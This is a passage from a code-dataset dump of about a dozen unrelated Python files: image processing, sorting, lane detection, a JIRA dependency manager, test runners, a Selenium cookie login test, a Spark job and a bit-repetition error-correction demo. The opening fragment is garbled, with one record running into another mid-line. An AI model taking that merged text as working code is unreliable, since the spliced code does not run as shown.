cv2.convertScaleAbs(grad_x)\r\n abs_grad_y = cv2.convertScaleAbs(grad_y)\r\n grad = cv2.addWeighted(abs_grad_x, 0.5, abs_grad_y, 0.5, 0)\r\n return grad # return the Sobel image (contours)\r\n \r\n def higherSensitivity(self,image):\r\n ind = 0\r\n for u1 in image:\r\n ind+=1\r\n for u2 in range(len(u1)):\r\n if u1[u2]= length:\n break\n numscopy = nums[:]\n del numscopy[index]\n nextresult = self.permuteUnique(numscopy)\n for nextresultline in nextresult:\n currentlist = [n]\n for nextresulte in nextresultline:\n currentlist.append(nextresulte)\n resultlist.append(currentlist)\n index += 1\n return resultlist\n","sub_path":"PermutationsII/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":974,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"83510665","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Mar 26 10:28:59 2019\n\nThis code will read values from config.json file and passes only that area of image to process further.\nconfig.json file has contents {\"qu\": [73, 216, 1370, 721]}, where \"qu\" is the camera name(any string/value),and followed by list(x,y,w,h)\n@author: soumya.doddagoudar\n\"\"\"\n\nimport cv2\nimport sys\nimport json\ndef main():\n \n \n input_video_path=str(input(\"Enter video path without quotes\\n\"))\n \n camera_name=str(input(\"enter camera name: \\n\"))\n \n #read already stored values from config.json file to dictionary\n config_dict={}\n \n with open('config.json', 'r') as f:\n try:\n config_dict = json.load(f)\n except:\n print(\"config value is empty\")\n \n #read input video \n camera = cv2.VideoCapture(input_video_path)\n #read image\n ok, image=camera.read()\n #extract values of cropped region from dictionary\n (x,y,w,h)=config_dict[camera_name]\n ymin=y\n ymax=y+h\n xmin=x\n xmax=x+w\n cropped = image[ymin:ymax, xmin:xmax]\n #cv2.imwrite(\"croppedimg.jpg\",cropped)\n #initialize and display window\n cv2.namedWindow(\"cropped Feed\",cv2.WINDOW_NORMAL)\n cv2.imshow(\"cropped Feed\", cropped)\n cv2.waitKey(5000) \n #destroy and release windows.\n camera.release()\n cv2.destroyAllWindows()\n# key = cv2.waitKey(1) & 0xFF\n# if key == ord(\"q\"):\n# camera.release()\n# cv2.destroyAllWindows() \n# exit()\n\n \n \n \nmain()\n","sub_path":"call_tool_json.py","file_name":"call_tool_json.py","file_ext":"py","file_size_in_byte":1523,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"615647183","text":"# TO-DO: Complete the selection_sort() function below\n# O(n^2) runtime | O(1) space\ndef selection_sort(arr):\n # loop through n-1 elements\n for i in range(0, len(arr) - 1):\n cur_index = i\n smallest_index = cur_index\n # TO-DO: find next smallest element\n # (hint, can do in 3 loc)\n while cur_index < len(arr):\n if arr[cur_index] < arr[smallest_index]:\n smallest_index = cur_index\n cur_index += 1\n\n # TO-DO: swap\n arr[i], arr[smallest_index] = arr[smallest_index], arr[i]\n\n return arr\n\n# TO-DO: implement the Bubble Sort function below\n# average O(n^2) runtime | O(1) space\ndef bubble_sort(arr):\n swapped = True\n iterations = 0\n while swapped:\n swapped = False\n for i in range(1, len(arr) - iterations):\n current = arr[i]\n prev = arr[i - 1]\n if current < prev:\n arr[i], arr[i - 1] = arr[i - 1], arr[i]\n swapped = True\n iterations += 1\n return arr\n\n'''\nSTRETCH: implement the Counting Sort function below\n\nCounting sort is a sorting algorithm that works on a set of data where\nwe specifically know the maximum value that can exist in that set of\ndata. The idea behind this algorithm then is that we can create \"buckets\"\nfrom 0 up to the max value. This is most easily done by initializing an\narray of 0s whose length is the max value + 1 (why do we need this \"+ 1\"?).\n\nEach buckets[i] then is responsible for keeping track of how many times \nwe've seen `i` in the input set of data as we iterate through it.\nOnce we know exactly how many times each piece of data in the input set\nshowed up, we can construct a sorted set of the input data from the \nbuckets. \n\nWhat is the time and space complexity of the counting sort algorithm?\n'''\n# O(n + m) runtime | O(m) space\n# where n is the size of arr, and\n# where m is the max num in arr\ndef counting_sort(arr, maximum=None):\n if not arr: return arr\n\n buckets = [0] * (max(arr) + 1)\n\n while len(arr):\n next_num = arr.pop()\n if next_num < 0:\n return 'Error, negative numbers not allowed in Count Sort'\n buckets[next_num] += 1\n\n for i in range(len(buckets)):\n while buckets[i] > 0:\n buckets[i] -= 1\n arr.append(i)\n\n return arr\n","sub_path":"src/iterative_sorting/iterative_sorting.py","file_name":"iterative_sorting.py","file_ext":"py","file_size_in_byte":2333,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"241595071","text":"import yaml\nimport logging\nclass Config(object):\n def __init__(self, configpath='config/config.yaml'):\n \"\"\"\n Will always load configuration from config/config.yaml\n :param configpath:\n \"\"\"\n self.logger = logging.getLogger(__name__)\n with open(configpath, 'r') as ymlfile:\n self.cfg = yaml.load(ymlfile, Loader=yaml.FullLoader)\n\n self.logger.info(self.cfg)\n\n\n def getSchemaPath(self):\n \"\"\"\n Inform config.py where to get the location of XML schemas\n :return:\n \"\"\"\n return self.cfg['schemas']['location']\n\n def getAnnotationTypes(self):\n \"\"\"\n Return all the supported annotation type\n :return:\n \"\"\"\n annotationTypeList=[]\n for supportedtype in self.cfg['supportedtypes']:\n annotationTypeList.append(supportedtype['name'])\n return annotationTypeList\n\n def getAnnotationProperties(self, annotationType):\n \"\"\"\n Get the properties of annotation\n :param annotationType:\n :return: name, format, use type\n \"\"\"\n for supportedtype in self.cfg['supportedtypes']:\n if (supportedtype['name']==annotationType):\n return supportedtype['name'], supportedtype['format'], supportedtype['use']\n raise Exception(\"Annotation type {} is not supported\\nSupported types: {}\".format(annotationType,self.getAnnotationTypes()))","sub_path":"config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":1440,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"345876284","text":"import cv2\nimport numpy as np\nimport math\n\ndef canny(image):\n gray = cv2.cvtColor(image, cv2.COLOR_RGB2GRAY) # convert RGB to gray-scale\n blur = cv2.GaussianBlur(gray, (5,5), 0) # image smoothening using GaussianBlur with 5,5 grid and 0 deviation\n canny = cv2.Canny(blur, 50, 150) # apply canny to find the edges\n return canny\n\ndef region_of_interest(image):\n height = image.shape[0] # defien the height of the image in pixels\n polygons = np.array([\n [(200, height), (1100, height), (550, 250)]\n ]) # this polygon (triangle) represents the area of region_of_interest\n mask = np.zeros_like(image) # will create a image array of all black pixles\n cv2.fillPoly(mask, polygons, 255) # fill black image with traingle of all white pixels\n masked_image = cv2.bitwise_and(image, mask)\n return masked_image # the changes are already applied on mask as this is a np array\n\ndef display_lines(image, lines):\n lane_image = np.zeros_like(image) # create a copy of the lane lane_image filled with all black pixles\n if lines is not None: # select onyl the non empty lines from the houges HoughLinesP\n for line in lines:\n x1,y1,x2,y2 = line.reshape(4) # reshape the returned HoughLinesP to a 1D 4 element array and unpack for each of the point coordinates\n cv2.line(lane_image, (x1,y1), (x2,y2), (255,0,0), 10) # draw these lines on array formed using lane_image\n return lane_image\n\ndef make_coordinates(image, line_parameters):\n slope, intercept = line_parameters\n y1 = image.shape[0]\n y2 = int(y1*(1/2))\n x1 = int((y1 - intercept)/slope)\n x2 = int((y2 - intercept)/slope)\n return np.array([x1, y1, x2, y2])\n\ndef average_slope_intercept(image, lines):\n left_fit = [] # empty list for left lines\n right_fit = [] # empty list for right lines\n for line in lines:\n x1,y1,x2,y2 = line.reshape(4) # reshape the returned HoughLinesP to a 1D 4 element array and unpack for each of the point coordinates\n line_parameters = np.polyfit((x1, x2),(y1, y2),1) # return slope and intercept for a straight line\n slope = line_parameters[0]\n intercept = line_parameters[1]\n if slope < 0:\n # negative slope corresponds to left side of the lines in the region_of_interest\n left_fit.append((slope, intercept))\n else:\n right_fit.append((slope, intercept))\n\n # take the avaerage of these slopes and intercepts\n left_fit_avg = np.average(left_fit, axis=0) # axis=0 indicates vertical average along the columns\n right_fit_avg = np.average(right_fit, axis=0)\n\n # call a function make_coordinates() to plot these lines using some coordinates\n left_line = make_coordinates(image, left_fit_avg)\n right_line = make_coordinates(image, right_fit_avg)\n\n # return the line coordinates returned by the called function make_coordinates()\n return np.array([left_line, right_line])\n\n# image = cv2.imread('test_image.jpg') # read the image and returns the pixeled array\n# lane_image = np.copy(image) # make a copy for gray-scale\n# canny_image = canny(lane_image)\n# cropped_image = region_of_interest(canny_image)\n# lines = cv2.HoughLinesP(cropped_image, 2, np.pi/180, 100, np.array([]), minLineLength = 40, maxLineGap = 5)\n# averaged_lines = average_slope_intercept(lane_image, lines)\n# line_image = display_lines(lane_image, averaged_lines)\n# combined_image = cv2.addWeighted(lane_image, 0.8, line_image, 1, 1)\n# cv2.imshow('result',combined_image) # display the test_image in blur\n# cv2.waitKey(0) # displays the image indefinitely\n\ncap = cv2.VideoCapture(\"test2.mp4\")\nwhile(cap.isOpened()):\n _, frame = cap.read() # this method returns the vedio into various frames\n canny_image = canny(frame)\n cropped_image = region_of_interest(canny_image)\n lines = cv2.HoughLinesP(cropped_image, 2, np.pi/180, 100, np.array([]), minLineLength = 40, maxLineGap = 5)\n averaged_lines = average_slope_intercept(frame, lines)\n line_image = display_lines(frame, averaged_lines)\n combined_image = cv2.addWeighted(frame, 0.8, line_image, 1, 1)\n cv2.imshow('result',combined_image) # display the test_image in blur\n cv2.waitKey(1) # 1 ms of wait time between each of the frames\n","sub_path":"finding-lanes/lanes.py","file_name":"lanes.py","file_ext":"py","file_size_in_byte":4668,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"82034112","text":"from __future__ import print_function\n#\n# Licensed to the Apache Software Foundation (ASF) under one or more\n# contributor license agreements. See the NOTICE file distributed with\n# this work for additional information regarding copyright ownership.\n# The ASF licenses this file to You under the Apache License, Version 2.0\n# (the \"License\"); you may not use this file except in compliance with\n# the License. You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\n\nimport logging\nimport yaml\nimport traceback\nfrom datetime import datetime\nfrom jira_client import JiraClient\n\n_JIRA_PROJECT_NAME = 'BEAM'\n_JIRA_COMPONENT = 'dependencies'\n_ISSUE_SUMMARY_PREFIX = 'Beam Dependency Update Request: '\n\nclass JiraManager:\n\n def __init__(self, jira_url, jira_username, jira_password, owners_file):\n options = {\n 'server': jira_url\n }\n basic_auth = (jira_username, jira_password)\n self.jira = JiraClient(options, basic_auth, _JIRA_PROJECT_NAME)\n with open(owners_file) as f:\n owners = yaml.load(f)\n self.owners_map = owners['deps']\n logging.getLogger().setLevel(logging.INFO)\n\n\n def run(self, dep_name, dep_latest_version, sdk_type, group_id=None):\n \"\"\"\n Manage the jira issue for a dependency\n Args:\n dep_name,\n dep_latest_version,\n sdk_type: Java, Python\n group_id (optional): only required for Java dependencies\n Return: Jira Issue\n \"\"\"\n logging.info(\"Start handling the JIRA issues for {0} dependency: {1} {2}\".format(\n sdk_type, dep_name, dep_latest_version))\n try:\n # find the parent issue for Java deps base on the groupID\n parent_issue = None\n if sdk_type == 'Java':\n summary = _ISSUE_SUMMARY_PREFIX + group_id\n parent_issues = self._search_issues(summary)\n for i in parent_issues:\n if i.fields.summary == summary:\n parent_issue = i\n break\n # Create a new parent issue if no existing found\n if not parent_issue:\n logging.info(\"\"\"Did not find existing issue with name {0}. \\n \n Created a parent issue for {1}\"\"\".format(summary, group_id))\n try:\n parent_issue = self._create_issue(group_id, None)\n print(parent_issue.key)\n except:\n logging.error(\"\"\"Failed creating a parent issue for {0}.\n Stop handling the JIRA issue for {1}, {2}\"\"\".format(group_id, dep_name, dep_latest_version))\n return\n # Reopen the existing parent issue if it was closed\n elif (parent_issue.fields.status.name != 'Open' and\n parent_issue.fields.status.name != 'Reopened'):\n logging.info(\"\"\"The parent issue {0} is not opening. Attempt reopening the issue\"\"\".format(parent_issue.key))\n try:\n self.jira.reopen_issue(parent_issue)\n except:\n traceback.print_exc()\n logging.error(\"\"\"Failed reopening the parent issue {0}.\n Stop handling the JIRA issue for {1}, {2}\"\"\".format(parent_issue.key, dep_name, dep_latest_version))\n return\n logging.info(\"Found the parent issue {0}. Continuous to create or update the sub-task for {1}\".format(parent_issue.key, dep_name))\n # creating a new issue/sub-task or updating on the existing issue of the dep\n summary = _ISSUE_SUMMARY_PREFIX + dep_name + \" \" + dep_latest_version\n issues = self._search_issues(summary)\n issue = None\n for i in issues:\n if i.fields.summary == summary:\n issue = i\n break\n if not issue:\n if sdk_type == 'Java':\n issue = self._create_issue(dep_name, dep_latest_version, is_subtask=True, parent_key=parent_issue.key)\n else:\n issue = self._create_issue(dep_name, dep_latest_version)\n logging.info('Created a new issue {0} of {1} {2}'.format(issue.key, dep_name, dep_latest_version))\n elif issue.fields.status.name == 'Open' or issue.fields.status.name == 'Reopened':\n self._append_descriptions(issue, dep_name, dep_latest_version)\n logging.info('Updated the existing issue {0} of {1} {2}'.format(issue.key, dep_name, dep_latest_version))\n return issue\n except:\n raise\n\n\n def _create_issue(self, dep_name, dep_latest_version, is_subtask=False, parent_key=None):\n \"\"\"\n Create a new issue or subtask\n Args:\n dep_name,\n dep_latest_version,\n is_subtask,\n parent_key: only required if the 'is_subtask'is true.\n \"\"\"\n logging.info(\"Creating a new JIRA issue to track {0} upgrade process\".format(dep_name))\n assignee, owners = self._find_owners(dep_name)\n summary = _ISSUE_SUMMARY_PREFIX + dep_name\n if dep_latest_version:\n summary = summary + \" \" + dep_latest_version\n description = \"\"\"\\n\\n{0}\\n\n Please review and upgrade the {1} to the latest version {2} \\n \n cc: \"\"\".format(\n datetime.today(),\n dep_name,\n dep_latest_version\n )\n for owner in owners:\n description += \"[~{0}], \".format(owner)\n try:\n if not is_subtask:\n issue = self.jira.create_issue(summary, [_JIRA_COMPONENT], description, assignee=assignee)\n else:\n issue = self.jira.create_issue(summary, [_JIRA_COMPONENT], description, assignee=assignee, parent_key=parent_key)\n except Exception as e:\n logging.error(\"Failed creating issue: \"+ str(e))\n raise e\n return issue\n\n\n def _search_issues(self, summary):\n \"\"\"\n Search issues by using issues' summary.\n Args:\n summary: a string\n Return:\n A list of issues\n \"\"\"\n try:\n issues = self.jira.get_issues_by_summary(summary)\n except Exception as e:\n logging.error(\"Failed searching issues: \"+ str(e))\n return []\n return issues\n\n\n def _append_descriptions(self, issue, dep_name, dep_latest_version):\n \"\"\"\n Add descriptions on an existing issue.\n Args:\n issue: Jira issue\n dep_name\n dep_latest_version\n \"\"\"\n logging.info(\"Updating JIRA issue {0} to track {1} upgrade process\".format(\n issue.key,\n dep_name))\n description = issue.fields.description + \"\"\"\\n\\n{0}\\n\n Please review and upgrade the {1} to the latest version {2} \\n \n cc: \"\"\".format(\n datetime.today(),\n dep_name,\n dep_latest_version\n )\n _, owners = self._find_owners(dep_name)\n for owner in owners:\n description += \"[~{0}], \".format(owner)\n try:\n self.jira.update_issue(issue, description=description)\n except Exception as e:\n traceback.print_exc()\n logging.error(\"Failed updating issue: \"+ str(e))\n\n\n def _find_owners(self, dep_name):\n \"\"\"\n Find owners for a dependency/\n Args:\n dep_name\n Return:\n primary: The primary owner of the dep. The Jira issue will be assigned to the primary owner.\n others: A list of other owners of the dep. Owners will be cc'ed in the description.\n \"\"\"\n try:\n dep_info = self.owners_map[dep_name]\n owners = dep_info['owners']\n if not owners:\n logging.warning(\"Could not find owners for \" + dep_name)\n return None, []\n except KeyError:\n traceback.print_exc()\n logging.warning(\"Could not find the dependency info of {0} in the OWNERS configurations.\".format(dep_name))\n return None, []\n except Exception as e:\n traceback.print_exc()\n logging.error(\"Failed finding dependency owners: \"+ str(e))\n return None, None\n\n logging.info(\"Found owners of {0}: {1}\".format(dep_name, owners))\n owners = owners.split(',')\n owners = map(str.strip, owners)\n owners = list(filter(None, owners))\n primary = owners[0]\n del owners[0]\n return primary, owners\n","sub_path":".test-infra/jenkins/jira_utils/jira_manager.py","file_name":"jira_manager.py","file_ext":"py","file_size_in_byte":8035,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"502576016","text":"import io\nimport optparse\nimport os\nimport re\nimport sys\n\nimport pep8ext_naming\n\n\nPyCF_ONLY_AST = 1024\n\nIS_PY3 = sys.version_info[0] == 3\nIS_PY3_TEST = re.compile(r\"^#\\s*python3\\s*only\")\nIS_PY2_TEST = re.compile(r\"^#\\s*python2\\s*only\")\n\nTESTCASE_RE = re.compile(\"^#: (?P\\w+)(\\((?P.+)\\))?$\")\n\n\ndef main():\n print('Running pep8-naming tests')\n test_count = 0\n errors = 0\n for filename in os.listdir('testsuite'):\n filepath = os.path.join('testsuite', filename)\n with io.open(filepath, encoding='utf8') as fd:\n lines = list(fd)\n if not is_test_allowed(lines):\n continue\n for testcase, code, options in load_tests(lines):\n test_count += 1\n errors += test_file(filename, testcase, code, options)\n\n if errors == 0:\n print(\"%s tests run successful\" % test_count)\n sys.exit(0)\n else:\n print(\"%i of %i tests failed\" % (errors, test_count))\n sys.exit(1)\n\n\ndef is_test_allowed(lines):\n if IS_PY3 and any(IS_PY2_TEST.search(line) for line in lines[:3]):\n return False\n\n if not IS_PY3 and any(IS_PY3_TEST.search(line) for line in lines[:3]):\n return False\n\n return True\n\n\ndef load_tests(lines):\n options = None\n testcase = []\n code = None\n for line in lines:\n line_match = TESTCASE_RE.match(line)\n if line_match:\n if testcase:\n yield testcase, code, options\n del testcase[:]\n code = line_match.group('code')\n if line_match.group('options'):\n options = [line_match.group('options')]\n else:\n options = None\n else:\n testcase.append(line)\n\n if testcase and code:\n yield testcase, code, options\n\n\nclass OptionsManager(optparse.OptionParser):\n \"\"\"A Flake8-2.x-compatible OptionsManager.\"\"\"\n def __init__(self, *args, **kwargs):\n optparse.OptionParser.__init__(self, *args, **kwargs)\n self.config_options = []\n\n\ndef parse_options(checker, options):\n \"\"\"Parse the CLI-style flags from `options` and expose to `checker`\"\"\"\n options_manager = OptionsManager('flake8')\n checker.add_options(options_manager)\n processed_options, _ = options_manager.parse_args(options)\n checker.parse_options(processed_options)\n\n\ndef test_file(filename, lines, code, options):\n tree = compile(''.join(lines), '', 'exec', PyCF_ONLY_AST)\n checker = pep8ext_naming.NamingChecker(tree, filename)\n parse_options(checker, options)\n\n found_errors = []\n for lineno, col_offset, msg, instance in checker.run():\n found_errors.append(msg.split()[0])\n\n if code is None: # Invalid test case\n return 0\n if not found_errors and code == 'Okay': # Expected PASS\n return 0\n if code in found_errors: # Expected FAIL\n return 0\n print(\"ERROR: %s not in %s\" % (code, filename))\n return 1\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"run_tests.py","file_name":"run_tests.py","file_ext":"py","file_size_in_byte":2993,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"98044716","text":"import pandas as pd\r\nfrom openpyxl import load_workbook\r\nimport datetime\r\nexcelpath = 'C:\\\\Users\\\\hovdei\\\\Desktop\\\\NBATrack2018-2019.xlsx'\r\nwb = load_workbook(excelpath)\r\nsheet = wb.active\r\ndate = '20181228'\r\ntime = ' 00:00:00'\r\nscores = pd.read_html('http://www.espn.com/nba/schedule/_/date/' + date)\r\nnumberofgames = 10\r\na = 0\r\nfor i in range(numberofgames):\r\n tempaway = scores[0].iloc[a]['matchup']\r\n temphome = scores[0].iloc[a]['Unnamed: 1']\r\n away = tempaway[:-4]\r\n home = temphome[:-4]\r\n if away == 'LA':\r\n away = 'LA Clippers'\r\n if away == 'Los Angeles':\r\n away = 'LA Lakers'\r\n if away == 'Utah ':\r\n away = 'Utah'\r\n if away == 'New Orlean':\r\n away = 'New Orleans'\r\n if away == 'San Antoni':\r\n away = 'San Antonio'\r\n if away == 'New Yor':\r\n away = 'New York'\r\n if away == 'Golden Stat':\r\n away = 'Golden State'\r\n if home == 'LA':\r\n home = 'LA Clippers'\r\n if home == 'Los Angeles':\r\n home = 'LA Lakers'\r\n if home == 'New Yor':\r\n home = 'New York'\r\n if home == 'San Antoni':\r\n home = 'San Antonio'\r\n if home == 'Golden Stat':\r\n home = 'Golden State'\r\n if home == 'Utah ':\r\n home = 'Utah'\r\n if home == 'New Orlean':\r\n home = 'New Orleans'\r\n row = 1\r\n while row <= sheet.max_row:\r\n if sheet.cell(row = row,column=1).value == date:\r\n if sheet.cell(row=row, column=2).value == away:\r\n if sheet.cell(row=row, column=4).value == home:\r\n placeholder = 2\r\n# print(home,away)\r\n\r\n row = row + 1\r\n a = a + 1\r\n#print(scores)\r\npath = 'C:\\\\Users\\\\hovdei\\\\Desktop\\\\testcolumns.txt'\r\ntestcolumns = pd.read_html('https://www.basketball-reference.com/leagues/NBA_2019_games-december.html')\r\ntestcolumns[0].to_csv(path)","sub_path":"WriteResults.py","file_name":"WriteResults.py","file_ext":"py","file_size_in_byte":1845,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"54813228","text":"#! /usr/bin/env python\n# -*- coding:utf-8 -*-\nimport json\nimport time\n\nfrom selenium import webdriver\n\n'''\n1.使用浏览器利用及 selenium cookie 方法,进行企业微信登陆,将代码(或 github 链接)贴到帖子下面\n'''\nclass TestDemo():\n\n def setup_class(self):\n # 声明 chrome 的参数\n chrome_arg = webdriver.ChromeOptions()\n # 加入调试地址\n chrome_arg.debugger_address = '127.0.0.1:9222'\n self.driver = webdriver.Chrome() #options=chrome_arg\n self.driver.get('https://work.weixin.qq.com/wework_admin/frame')\n self.driver.implicitly_wait(3)\n\n def test_addcookie(self):\n '''\n 获取cookies并存入文件\n cookies = self.driver.get_cookies()\n print(cookies)\n with open('../tmp.txt', 'w', encoding='utf-8') as f:\n f.write(json.dumps(cookies))\n\n '''\n\n\n\n with open('../tmp.txt', 'r', encoding='utf-8') as f:\n '''\n 使用json.loads\n #raw_cookies=f.read() #是个str类型\n for one in json.loads(raw_cookies):\n '''\n #使用json.load\n\n raw_cookies = json.load(f)\n for one in raw_cookies:\n self.driver.add_cookie(one)\n self.driver.refresh()\n time.sleep(3)\n\n","sub_path":"test_selenium/testcase/test_cookie_hm1.py","file_name":"test_cookie_hm1.py","file_ext":"py","file_size_in_byte":1321,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"340399944","text":"# @file Compiler_plugin.py\n# Simple Project Mu Build Plugin to support\n# compiling code\n##\n# Copyright (c) 2018, Microsoft Corporation\n#\n# All rights reserved.\n# Redistribution and use in source and binary forms, with or without\n# modification, are permitted provided that the following conditions are met:\n# 1. Redistributions of source code must retain the above copyright notice,\n# this list of conditions and the following disclaimer.\n# 2. Redistributions in binary form must reproduce the above copyright notice,\n# this list of conditions and the following disclaimer in the documentation\n# and/or other materials provided with the distribution.\n#\n# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND\n# ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\n# WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.\n# IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT,\n# INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,\n# BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\n# DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF\n# LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE\n# OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF\n# ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n##\n###\n\nimport logging\nfrom MuEnvironment.PluginManager import IMuBuildPlugin\nfrom MuEnvironment.UefiBuild import UefiBuilder\nimport os\nimport re\n\n\nclass CompilerPlugin(IMuBuildPlugin):\n\n # gets the tests name\n def GetTestName(self, packagename, environment):\n target = environment.GetValue(\"TARGET\")\n return (\"MuBuild Compile \" + target + \" \" + packagename, \"MuBuild.CompileCheck.\" + target + \".\" + packagename)\n\n def IsTargetDependent(self):\n return True\n\n # External function of plugin. This function is used to perform the task of the MuBuild Plugin\n # - package is the edk2 path to package. This means workspace/packagepath relative.\n # - edk2path object configured with workspace and packages path\n # - any additional command line args\n # - RepoConfig Object (dict) for the build\n # - PkgConfig Object (dict)\n # - EnvConfig Object\n # - Plugin Manager Instance\n # - Plugin Helper Obj Instance\n # - testcase Object used for outputing junit results\n # - output_stream the StringIO output stream from this plugin\n def RunBuildPlugin(self, packagename, Edk2pathObj, args, repoconfig, pkgconfig, environment, PLM, PLMHelper, tc, output_stream = None):\n self._env = environment\n AP = Edk2pathObj.GetAbsolutePathOnThisSytemFromEdk2RelativePath(packagename)\n APDSC = self.get_dsc_name_in_dir(AP)\n AP_Path = Edk2pathObj.GetEdk2RelativePathFromAbsolutePath(APDSC)\n\n logging.info(\"Building {0}\".format(AP_Path))\n if AP is None or AP_Path is None or not os.path.isfile(APDSC):\n tc.SetSkipped()\n tc.LogStdError(\"1 warning(s) in {0} Compile. DSC not found.\".format(packagename))\n return 0\n\n self._env.SetValue(\"ACTIVE_PLATFORM\", AP_Path, \"Set in Compiler Plugin\")\n # WorkSpace, PackagesPath, PInManager, PInHelper, args, BuildConfigFile=None):\n uefiBuilder = UefiBuilder(Edk2pathObj.WorkspacePath, os.pathsep.join(Edk2pathObj.PackagePathList), PLM, PLMHelper, args)\n # do all the steps\n ret = uefiBuilder.Go()\n if ret != 0: # failure:\n if output_stream is not None:\n try:\n # seek to the start of the output stream\n output_stream.seek(0, 0)\n error_exp = re.compile(r\"error C(\\d+):\")\n warning_exp = re.compile(r\"warning C(\\d+):\")\n for line in output_stream.readlines():\n match = error_exp.search(line)\n if match is not None:\n tc.LogStdError(\"Compile: Error: {0}\".format(line))\n match = warning_exp.search(line)\n if match is not None:\n tc.LogStdOut(\"Compile: Warning: {0}\".format(line))\n # we might fail if uefiBuilder doesn't have the output stream (if we have an older mu_enviroment for whatever reason)\n except AttributeError:\n pass # if we do fail we can ignore it since it just means we can't put more explicit output into the xml\n\n tc.SetFailed(\"Compile failed for {0}\".format(packagename), \"Compile_FAILED\")\n tc.LogStdError(\"{0} Compile failed with error code {1}\".format(AP_Path, ret))\n return 1\n\n else:\n tc.SetSuccess()\n return 0\n","sub_path":"BaseTools/Plugin/CompilerPlugin/CompilerPlugin.py","file_name":"CompilerPlugin.py","file_ext":"py","file_size_in_byte":4841,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"375009305","text":"from pyspark import SparkContext\n\nsc = SparkContext('local', 'test')\nrdd = sc.textFile(\"/sogou/20111230/sogou.500w.utf8\")\n\nrdd = rdd.map(lambda line: (line.split('\\t')[4],1))\nrdd = rdd.reduceByKey(lambda a,b : a + b)\nrdd = rdd.map(lambda line : (line[1], line[0])).sortByKey(False)\n\nfor count,rank in rdd.collect():\n print(rank, count)","sub_path":"big-data/spark/sogou/rank_top.py","file_name":"rank_top.py","file_ext":"py","file_size_in_byte":338,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"140040700","text":"import signal\nfrom sys import argv\nfrom math import ceil\nfrom numpy import arange\n\nfrom functions import (\n signal_handler,\n read_img,\n show_img,\n img_to_bin,\n bin_to_img,\n gen_trans_err,\n bin_diff,\n)\n\n# powielenie bitów\ndef multiple_bits(bin_in, bit_cnt):\n bin_out = ''\n for _ in range(bit_cnt):\n bin_out += bin_in\n return bin_out\n\n# odpowielenie bitów\ndef demultiple_bits(bin_in, bit_cnt):\n helper = int(len(bin_in)/bit_cnt)\n return bin_in[:helper]\n\n# naprawa przekłamań w powielonych bitach\ndef fix_multiple_bits(bin_in, bit_cnt):\n bin_out = ''\n length = int(len(bin_in)/bit_cnt)\n for i in range(length):\n ones_cnt = 0\n set_all = '0'\n for j in range(bit_cnt):\n index = j*length + i\n if bin_in[index] == '1':\n ones_cnt = ones_cnt + 1\n if ones_cnt > bit_cnt/2:\n set_all = '1'\n bin_out += set_all\n return bin_out + bin_out + bin_out\n\ndef test():\n file = 'example_small.jpg'\n multiple_by = 3 # liczba powielenia kazdego bitu\n\n print('err,bitcnt,unfixed')\n for i in arange(2, 10.1, 0.1):\n trans_err = round(i, 1)\n\n # Wczytanie obrazu z pliku\n image = read_img(file)\n\n _, data_bin = img_to_bin(image)\n bin_before = data_bin\n\n # Powielenie bitów\n data_bin = multiple_bits(data_bin, multiple_by)\n\n # Przekłamanie losowych bitów\n data_bin, _ = gen_trans_err(data_bin, trans_err)\n\n # Naprawa błędów\n fixed_data = demultiple_bits(fix_multiple_bits(data_bin, multiple_by), multiple_by)\n bin_after = fixed_data\n\n bit_cnt = bin_diff(bin_before, bin_after)\n diff_bits = round(bit_cnt*100/len(bin_after), 4)\n print(str(trans_err) + ',' + str(bit_cnt) + ',' + format(diff_bits, '.4f'))\n\ndef main():\n file = 'example_small.jpg'\n trans_err = 2 # liczba bitów do przekłamania w procentach\n multiple_by = 3 # liczba powielenia kazdego bitu\n\n # Wczytanie obrazu z pliku\n image = read_img(file)\n show_img(image)\n\n # Wyświetlenie obrazu\n size, data_bin = img_to_bin(image)\n bin_before = data_bin\n\n # Powielenie bitów\n data_bin = multiple_bits(data_bin, multiple_by)\n\n # Przekłamanie losowych 